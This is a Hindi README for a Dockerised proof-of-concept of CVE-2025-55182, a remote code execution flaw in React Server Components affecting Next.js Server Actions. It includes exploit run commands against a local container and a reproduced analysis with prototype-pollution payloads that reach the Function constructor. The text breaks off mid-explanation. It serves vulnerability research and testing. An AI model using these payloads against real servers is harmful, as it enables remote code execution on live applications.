CVE-2025-55182 - डॉकराइज़्ड प्रूफ ऑफ कॉन्सेप्ट

इस रिपॉजिटरी में CVE-2025-55182 के लिए एक डॉकराइज़्ड प्रूफ ऑफ कॉन्सेप्ट है, जो React Server Components (RSC) में एक गंभीर रिमोट कोड एक्ज़ीक्यूशन भेद्यता है जो Server Actions का उपयोग करने वाले Next.js अनुप्रयोगों को प्रभावित करती है।

श्रेय

मूल प्रूफ ऑफ कॉन्सेप्ट और भेद्यता विश्लेषण msanft द्वारा बनाया गया था। यह रिपॉजिटरी आसान परीक्षण और प्रदर्शन के लिए एक डॉकराइज़्ड परीक्षण वातावरण प्रदान करके उनके कार्य का विस्तार करती है।

त्वरित आरंभ

पूर्वापेक्षाएँ

• Docker स्थापित और चालू हो
• requests लाइब्रेरी के साथ Python 3 (pip install requests)

एक्सप्लॉइट चलाना

1. भेद्य Next.js सर्वर प्रारंभ करें:

   docker compose up --build -d
   

2. सर्वर प्रारंभ होने की प्रतीक्षा करें (docker compose logs -f nextjs-server के साथ लॉग जांचें)

3. एक्सप्लॉइट चलाएँ:

   # Automated script (recommended)
   ./exploit-docker.sh
   
   # Or manually
   ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
   python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
   

4. सत्यापित करें कि एक्सप्लॉइट काम कर गया:

   docker compose exec nextjs-server ls -la /tmp/rce_test
   

उदाहरण कमांड

# Create a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"

# Write to a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"

# Check current user
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"

# Verify results
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user

महत्वपूर्ण नोट्स

• ⚠️ टाइमआउट त्रुटियाँ अपेक्षित हैं - ये दर्शाती हैं कि RCE सफलतापूर्वक निष्पादित हुआ
• कमांड निष्पादित होने के बाद सर्वर हैंग हो जाता है, जिससे HTTP टाइमआउट होता है
• कमांड कंटेनर के अंदर nextjs उपयोगकर्ता (UID 1001) के रूप में निष्पादित होते हैं
• फ़ाइलें कंटेनर के फ़ाइलसिस्टम के अंदर बनाई जाती हैं, होस्ट पर नहीं

Docker सेटअप

इस रिपॉजिटरी में भेद्यता के परीक्षण के लिए एक संपूर्ण Docker सेटअप शामिल है:

• docker-compose.yml - Docker Compose कॉन्फ़िगरेशन
• test-server/ - भेद्य Next.js अनुप्रयोग
• test-server/Dockerfile - प्रोडक्शन Dockerfile
• test-server/Dockerfile.dev - डेवलपमेंट Dockerfile (वैकल्पिक)

भेद्य सर्वर Next.js 16.0.6 को एक साधारण Server Action के साथ चलाता है जिसका शोषण किया जा सकता है।

फ़ाइलें

• poc.py - Python प्रूफ ऑफ कॉन्सेप्ट स्क्रिप्ट (मूल msanft द्वारा, कोट एस्केपिंग सुधारों के साथ)
• exploit-docker.sh - Docker वातावरण के लिए स्वचालित एक्सप्लॉइट स्क्रिप्ट
• DOCKER_SETUP.md - व्यापक Docker सेटअप दस्तावेज़ीकरण

सफाई

# Stop the container
docker compose down

# Remove everything (including volumes)
docker compose down -v

मूल भेद्यता विश्लेषण

मूल शोध का विस्तृत भेद्यता विश्लेषण, शोषण श्रृंखला और पैच जानकारी नीचे प्रदान की गई है।

---

msanft द्वारा मूल शोध

यह भेद्यता React Server Functions में RCE की अनुमति देती है, जैसे कि Next.js द्वारा असुरक्षित प्रोटोटाइप संदर्भों के माध्यम से प्रदान की जाती है।

मैं React या Next.js का विशेषज्ञ नहीं हूँ, इसलिए यहाँ दी गई सभी जानकारी को संदेह की दृष्टि से लें। इसके अलावा, मैं अभी भी विश्लेषण प्रक्रिया में हूँ, इसलिए जो मैं नीचे "भेद्यता" के रूप में वर्णित कर रहा हूँ वह पूरी श्रृंखला का केवल एक छोटा सा हिस्सा हो सकता है।

पृष्ठभूमि

React Server Functions[^1] प्रदान करता है, जिन्हें HTTP-पर-RPC के रूप में देखा जा सकता है। इनका उपयोग कम विलंबता सुनिश्चित करने के लिए निकटवर्ती पीयर्स से डेटा प्राप्त करने, या प्रमाणित अनुरोध करने के लिए किया जा सकता है जिनके लिए क्लाइंट के पास क्रेडेंशियल नहीं होते।

React Server Functions को पारित मूल्यों के क्रमांकन के लिए React Flight Protocol[^2] नामक किसी चीज़ का उपयोग करता है।

क्लाइंट सर्वर को "chunks" पास करता है, जैसे कि फॉर्म डेटा के माध्यम से:

files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

जैसा कि दिखाया गया है, इनमें एक दूसरे के बीच संदर्भ हो सकते हैं। उपरोक्त पेलोड सर्वर पर निम्नलिखित में डिसीरियलाइज़ होता है:

{ object: 'fruit', name: 'cherry' }

प्रारूप स्वयं थोड़ा अधिक जटिल है और अधिक जटिल क्रमांकन और डिसीरियलाइज़ेशन की अनुमति देता है, लेकिन यह वास्तविक भेद्यता की बुनियादी समझ प्रदान करता है।

भेद्यता

इस कमिट[^3] तक, संदर्भ समाधान में chunks को ट्रैवर्स करते समय, जैसे कि उपरोक्त उदाहरण में chunk 2 से fruitName प्राप्त करना, React यह सत्यापित नहीं करता था कि अनुरोधित कुंजी वास्तव में ऑब्जेक्ट पर सेट है या नहीं। इसने हमें ऑब्जेक्ट प्रोटोटाइप[^4] प्राप्त करने की अनुमति दी।

इसे इस तरह के पेलोड के साथ प्रदर्शित किया जा सकता है:

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

जो फ़ंक्शन कंस्ट्रक्टर[^5] में डिसीरियलाइज़ होता है:

[Function: Function]

जब ID 0 वाला chunk एक ऐरे नहीं बल्कि एक ऑब्जेक्ट होता है, तो हम then कुंजी को फ़ंक्शन कंस्ट्रक्टर पर सेट कर सकते हैं। ऑब्जेक्ट तब decodeReplyFromBusboy फ़ंक्शन द्वारा लौटाया जाता है और Next.js द्वारा awaited किया जाता है:

// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

जब यह एक thenable लौटाता है, तो कॉलर में await इसे कॉल करेगा। इस पेलोड के साथ ऐसा ही होता है:

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

जिससे यह त्रुटि उत्पन्न होती है:

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

त्रुटि ऐसी दिखती है क्योंकि V8 एक await किए गए फ़ंक्शन को आंतरिक resolve और reject फ़ंक्शनों के साथ कॉल करता है, जो toString किए जाने पर कुछ इस तरह क्रमांकित होते हैं:

function () { [native code] }

शोषण

चूँकि हम आसानी से Function कंस्ट्रक्टर प्राप्त कर सकते हैं, सीधा तरीका एक कॉल गैजेट खोजना है जो कंस्ट्रक्टर को उपयोगकर्ता-नियंत्रित मान के साथ आमंत्रित करता है (अर्थात, फ़ंक्शन का कोड एक स्ट्रिंग के रूप में), और बाद में लौटाए गए फ़ंक्शन को कॉल करता है।

ऐसे कई स्थान हैं जो फ़ंक्शन कंस्ट्रक्टर को कॉल कर सकते हैं, उदाहरण के लिए resolveServerReference, जहाँ id एक नियंत्रित ऑब्जेक्ट है, और lastIndexOf को उपयोगकर्ता-नियंत्रित स्ट्रिंग लौटाने के लिए ओवरराइट किया जा सकता है (जैसे Array.prototype.join के माध्यम से) और slice को फ़ंक्शन कंस्ट्रक्टर पर ओवरराइट किया जा सकता है। हालाँकि, यह स्थान काम नहीं करता क्योंकि .slice() का दूसरा आह्वान पहले तर्क के रूप में एक संख्या प्रदान करता है, जिसे - मेरी जानकारी के अनुसार - फ़ंक्शन कंस्ट्रक्टर द्वारा कभी संभाला नहीं जा सकता।

यहाँ, maple3142[^7] का एक शानदार विचार आता है। जब getChunk संदर्भ श्रृंखला को हल करना शुरू करने के लिए ID 0 पर chunk को रूट संदर्भ के रूप में लेता है, यही chunk एक क्राफ्टेड "नकली chunk" में हल हो सकता है।

हम $@ सिंटैक्स का उपयोग करके chunk 1 में क्राफ्टेड chunk 0 को संदर्भित कर सकते हैं, जो "कच्चा" chunk लौटाता है, न कि उसका हल किया गया मान:

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

इसे ऊपर के अपने then ओवरराइट के साथ जोड़कर, हम कुछ इस तरह क्राफ्ट कर सकते हैं:

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

यहाँ, chunk 0 अपने स्वयं के कच्चे chunk प्रतिनिधित्व के .then() के साथ अपने स्वयं के .then() को ओवरराइट करता है। सीधे शब्दों में, हम अपने स्वयं के .then() को Chunk.prototype.then के साथ ओवरराइट करते हैं, जो मौजूद है, क्योंकि Chunks thenables हैं:

Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

उपरोक्त पेलोड के साथ, Chunk.prototype.then को अंततः ID 0 वाले क्राफ्टेड chunk के साथ कॉल किया जाता है।

जैसा कि ऊपर दिखाया गया है, जब हमारे नकली chunk पर .status resolved_model होता है: